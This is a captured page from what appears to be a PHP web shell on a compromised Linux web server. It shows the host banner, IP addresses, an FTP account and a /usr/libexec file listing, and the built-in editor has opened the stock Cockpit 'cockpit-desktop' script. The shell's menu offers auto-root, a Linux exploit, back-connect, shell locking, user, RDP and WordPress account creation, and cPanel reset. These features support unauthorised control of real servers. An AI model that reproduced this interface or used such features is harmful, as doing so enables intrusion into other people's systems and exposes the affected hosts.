Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.222
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
libexec /
[ HOME SHELL ]
Name
Size
Permission
Action
awk
[ DIR ]
drwxr-xr-x
coreutils
[ DIR ]
drwxr-xr-x
dbus-1
[ DIR ]
drwxr-xr-x
dovecot
[ DIR ]
drwxr-xr-x
gawk
[ DIR ]
drwxr-xr-x
gcc
[ DIR ]
drwxr-xr-x
getconf
[ DIR ]
drwxr-xr-x
grubby
[ DIR ]
drwxr-xr-x
hostname
[ DIR ]
drwxr-xr-x
initscripts
[ DIR ]
drwxr-xr-x
installkernel
[ DIR ]
drwxr-xr-x
linux-boot-probes
[ DIR ]
drwxr-xr-x
lsm.d
[ DIR ]
drwxr-xr-x
man-db
[ DIR ]
drwxr-xr-x
mecab
[ DIR ]
drwxr-xr-x
microcode_ctl
[ DIR ]
drwxr-xr-x
openldap
[ DIR ]
drwxr-xr-x
openssh
[ DIR ]
drwxr-xr-x
os-prober
[ DIR ]
drwxr-xr-x
os-probes
[ DIR ]
drwxr-xr-x
p11-kit
[ DIR ]
drwxr-xr-x
p7zip
[ DIR ]
drwxr-xr-x
pcp
[ DIR ]
drwxr-xr-x
postfix
[ DIR ]
drwxr-xr-x
proftpd
[ DIR ]
drwxr-xr-x
psacct
[ DIR ]
drwxr-xr-x
selinux
[ DIR ]
drwxr-xr-x
smartmontools
[ DIR ]
drwxr-xr-x
sssd
[ DIR ]
drwxr-xr-x
sudo
[ DIR ]
drwxr-xr-x
tuned
[ DIR ]
drwxr-xr-x
usermin
[ DIR ]
drwxr-xr-x
utempter
[ DIR ]
drwxr-xr-x
webmin
[ DIR ]
drwxr-xr-x
audit-functions
990
B
-rwxr-x---
chrony-helper
7.17
KB
-rwxr-xr-x
cockpit-askpass
45.4
KB
-rwxr-xr-x
cockpit-certificate-ensure
24.8
KB
-rwxr-xr-x
cockpit-certificate-helper
5.29
KB
-rwxr-xr-x
cockpit-client
12.26
KB
-rwxr-xr-x
cockpit-client.ui
4.13
KB
-rw-r--r--
cockpit-desktop
4.57
KB
-rwxr-xr-x
cockpit-session
57.16
KB
-rwsr-x---
cockpit-ssh
127.34
KB
-rwxr-xr-x
cockpit-tls
49.56
KB
-rwxr-xr-x
cockpit-ws
279.13
KB
-rwxr-xr-x
cockpit-wsinstance-factory
16.49
KB
-rwxr-xr-x
dirmngr_ldap
87.32
KB
-rwxr-xr-x
ebtables
1.33
KB
-rwxr-xr-x
generate-rndc-key.sh
546
B
-rwxr-xr-x
glib-pacrunner
21.66
KB
-rwxr-xr-x
gpg-check-pattern
111.88
KB
-rwxr-xr-x
gpg-preset-passphrase
87.21
KB
-rwxr-xr-x
gpg-protect-tool
206.3
KB
-rwxr-xr-x
gpg-wks-client
227.22
KB
-rwxr-xr-x
grepconf.sh
253
B
-rwxr-xr-x
httpd-ssl-gencerts
1.22
KB
-rwxr-xr-x
httpd-ssl-pass-dialog
92
B
-rwxr-xr-x
import-state
1.03
KB
-rwxr-xr-x
loadmodules
233
B
-rwxr-xr-x
mlocate-run-updatedb
138
B
-rwxr-x---
mlx4-setup.sh
2.48
KB
-rwxr-xr-x
mysql-check-socket
1.4
KB
-rwxr-xr-x
mysql-check-upgrade
1.53
KB
-rwxr-xr-x
mysql-prepare-db-dir
3.42
KB
-rwxr-xr-x
mysql-scripts-common
2.51
KB
-rw-r--r--
mysql-wait-stop
709
B
-rwxr-xr-x
mysqld
62.52
MB
-rwxr-xr-x
nm-daemon-helper
12.59
KB
-rwxr-xr-x
nm-dhcp-helper
16.2
KB
-rwxr-xr-x
nm-dispatcher
66.13
KB
-rwxr-xr-x
nm-ifdown
1.07
KB
-rwxr-xr-x
nm-ifup
1.04
KB
-rwxr-xr-x
nm-initrd-generator
740.38
KB
-rwxr-xr-x
no-python
157
B
-rwxr-xr-x
packagekit-direct
105.7
KB
-rwxr-xr-x
packagekitd
316.57
KB
-rwxr-xr-x
pk-offline-update
33.13
KB
-rwxr-xr-x
platform-python
11.59
KB
-rwxr-xr-x
platform-python3.6
11.59
KB
-rwxr-xr-x
platform-python3.6m
11.59
KB
-rwxr-xr-x
scdaemon
442.36
KB
-rwxr-xr-x
tcawmgr.cgi
25.1
KB
-rwxr-xr-x
truescale-serdes.cmds
8.5
KB
-rwxr-xr-x
vdoprepareforlvm
540.58
KB
-rwxr-xr-x
virt-what-cpuid-helper
7.84
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : cockpit-desktop
#!/bin/bash # This file is part of Cockpit. # # Copyright (C) 2018 Red Hat, Inc. # # Cockpit is free software; you can redistribute it and/or modify it # under the terms of the GNU Lesser General Public License as published by # the Free Software Foundation; either version 2.1 of the License, or # (at your option) any later version. # # Cockpit is distributed in the hope that it will be useful, but # WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public License # along with Cockpit; If not, see <http://www.gnu.org/licenses/>. # Run a local bridge, web server, and browser for a particular Cockpit page. # This is useful for integration into .desktop files, for systems which don't # have cockpit.socket enabled. The web server and browser run in an unshared # network namespace, and thus are totally isolated from everything else. # # Examples: # cockpit-desktop /cockpit/@localhost/system/index.html # cockpit-desktop network/firewall # cockpit-desktop users # # As an experimental/demo feature, the bridge can also be started on a remote # ssh host. The host name is given as (optional) second argument, which is # passed verbatim to ssh. # # Example: # cockpit-desktop system svr1 # cockpit-desktop / username@svr1 set -eu # exec_prefix= is set because the default /usr/libexec contains "${exec_prefix}" exec_prefix="/usr" libexecdir="/usr/libexec" # find suitable browser, unless already set by $BROWSER # We can't use xdg-open, it does too much magic behind the back to connect to # existing instances (outside of our namespace) and does not allow us to reduce # the UI, or pass options like chromium's --no-sandbox. detect_browser() { [ -z "${BROWSER:-}" ] || return 0 # First choice, but it depends on gi.repository WebKit2, so check it if /usr/libexec/cockpit-client --help >/dev/null 2>/dev/null; then BROWSER="/usr/libexec/cockpit-client --disable-uniqueness --no-ui --external-ws" return 0 fi for browser in chromium-browser chromium google-chrome; do if type $browser >/dev/null 2>&1; then # need to disable sandboxing in user namespace, but that already isolates # TODO: Find a way to disable the URL bar BROWSER="$browser --no-sandbox --disable-infobars" return 0 fi done if type firefox >/dev/null 2>&1; then # TODO: Find a way to disable the privacy notice tab, via mozilla.cfg? # TODO: Find a way to disable the URL bar BROWSER="firefox --no-remote" return 0 fi # TODO: is there a simple way to use webkitgtk? echo "No suitable browser found (Chromium/Chrome, or Firefox)" >&2 exit 1 } if [ -z "${1:-}" ]; then echo "Usage: $0 <Cockpit path> [ssh host]" >&2 exit 1 fi # Expand the commandline argument into a url case "$1" in /*) URL_PATH="$1" ;; */) URL_PATH="/cockpit/@localhost/$1index.html" ;; */*) URL_PATH="/cockpit/@localhost/$1.html" ;; *) URL_PATH="/cockpit/@localhost/$1/index.html" ;; esac detect_browser # start the bridge; this needs to run in the normal user session/namespace coproc ${2:+ssh "$2"} cockpit-bridge trap "kill $COPROC_PID; wait $COPROC_PID || true" EXIT INT QUIT PIPE # start ws and browser in a detached network namespace SCRIPT=' set -eu # new namespaces have lo down by default ip link set lo up >&2 # start browser in a temporary home dir, so that it does not interfere with your real one export BROWSER_HOME=$(mktemp --directory --tmpdir cockpit.desktop.XXXXXX) # forward parent stdin and stdout (from bridge) to cockpit-ws # it pretty well does not matter which port we use in our own namespace, so use standard http # disable /etc/cockpit/ XDG_CONFIG_DIRS="$BROWSER_HOME" COCKPIT_SUPERUSER="pkexec" '${COCKPIT_WS:-/usr/libexec/cockpit-ws}' -p 80 -a 127.0.0.90 --local-session=- <&0 >&1 & WS_PID=$! # ... and stop using that stdin/out for everything else exec 0</dev/null exec 1>&2 trap "set +e; kill $WS_PID; wait $WS_PID; rm -rf $BROWSER_HOME" EXIT INT QUIT PIPE # if we have netcat, use it for waiting until ws is up if type nc >/dev/null 2>&1; then for retry in `seq 10`; do nc -z 127.0.0.90 80 && break sleep 0.5; done else # otherwise, just wait a bit sleep 3 fi HOME="$BROWSER_HOME" '$BROWSER' http://127.0.0.90'"$URL_PATH"' ' unshare --user --map-root-user --net /bin/bash -c "$SCRIPT" <&${COPROC[0]} >&${COPROC[1]}
Close